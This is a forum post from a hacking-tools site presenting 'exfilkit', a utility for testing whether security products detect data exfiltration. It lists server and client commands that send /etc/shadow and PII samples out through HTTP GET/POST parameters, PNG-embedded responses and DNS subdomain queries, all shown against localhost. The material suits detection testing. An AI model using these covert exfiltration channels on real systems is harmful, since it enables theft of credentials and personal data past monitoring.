# Exfilkit | Data Exfiltration Utility For Testing Detection Capabilities

**URL:** <https://onehack.st/t/exfilkit-data-exfiltration-utility-for-testing-detection-capabilities/219766>\
**Category:** Tools & Scripts\
**Tags:** hacking, freebies, windows\
**Created:** [June 12, 2022, 8:06pm UTC](https://onehack.st/t/exfilkit-data-exfiltration-utility-for-testing-detection-capabilities/219766 "2022-06-12T20:06:33Z")\
**Posts on this page:** 1\
**Page:** 1

<div class="post-metadata">

**Author:** ![BlueHacker](https://onehack.st/user_avatar/onehack.st/bluehacker/32/174721_2.png) [@BlueHacker](https://onehack.st/u/BlueHacker)\
**Post date:** [June 12, 2022, 8:06pm UTC](https://onehack.st/t/exfilkit-data-exfiltration-utility-for-testing-detection-capabilities/219766/1 "2022-06-12T20:06:33Z")

</div>

![image](https://onehack.st/uploads/default/original/3X/f/1/f1ac82491dab0e15e07dc36ac53877eab932f895.jpeg)

# exfilkit

> Data exfiltration utility for testing detection capabilities

## Description

Data exfiltration utility used for testing detection capabilities of security products. Obviously for legal purposes only.

## Exfiltration How-To

### /etc/shadow → HTTP GET requests

#### Server

```auto
# ./exfilkit-cli.py -m exfilkit.methods.http.param_cipher.GETServer -lp 80 -o output.log

```

#### Client

```auto
$ ./exfilkit-cli.py -m exfilkit.methods.http.param_cipher.GETClient -rh 127.0.0.1 -rp 80 -i ./samples/shadow.txt -r

```

### /etc/shadow → HTTP POST requests

#### Server

```auto
# ./exfilkit-cli.py -m exfilkit.methods.http.param_cipher.POSTServer -lp 80 -o output.log

```

#### Client

```auto
$ ./exfilkit-cli.py -m exfilkit.methods.http.param_cipher.POSTClient -rh 127.0.0.1 -rp 80 -i ./samples/shadow.txt -r

```

### PII → PNG embedded in HTTP Response

#### Server

```auto
$ ./exfilkit-cli.py -m exfilkit.methods.http.image_response.Server -lp 37650 -o output.log

```

#### Client

```auto
# ./exfilkit-cli.py -m exfilkit.methods.http.image_response.Client -rh 127.0.0.1 -rp 37650 -lp 80 -i ./samples/pii.txt -r

```

### PII → DNS subdomains querying

#### Server

```auto
# ./exfilkit-cli.py -m exfilkit.methods.dns.subdomain_cipher.Server -lp 53 -o output.log

```

#### Client

```auto
$ ./exfilkit-cli.py -m exfilkit.methods.dns.subdomain_cipher.Client -rh 127.0.0.1 -rp 53 -i ./samples/pii.txt -r

```

## GitHub:

> **[GitHub - tasooshi/exfilkit: Data exfiltration utility for testing detection...](https://github.com/tasooshi/exfilkit)**
>
> Data exfiltration utility for testing detection capabilities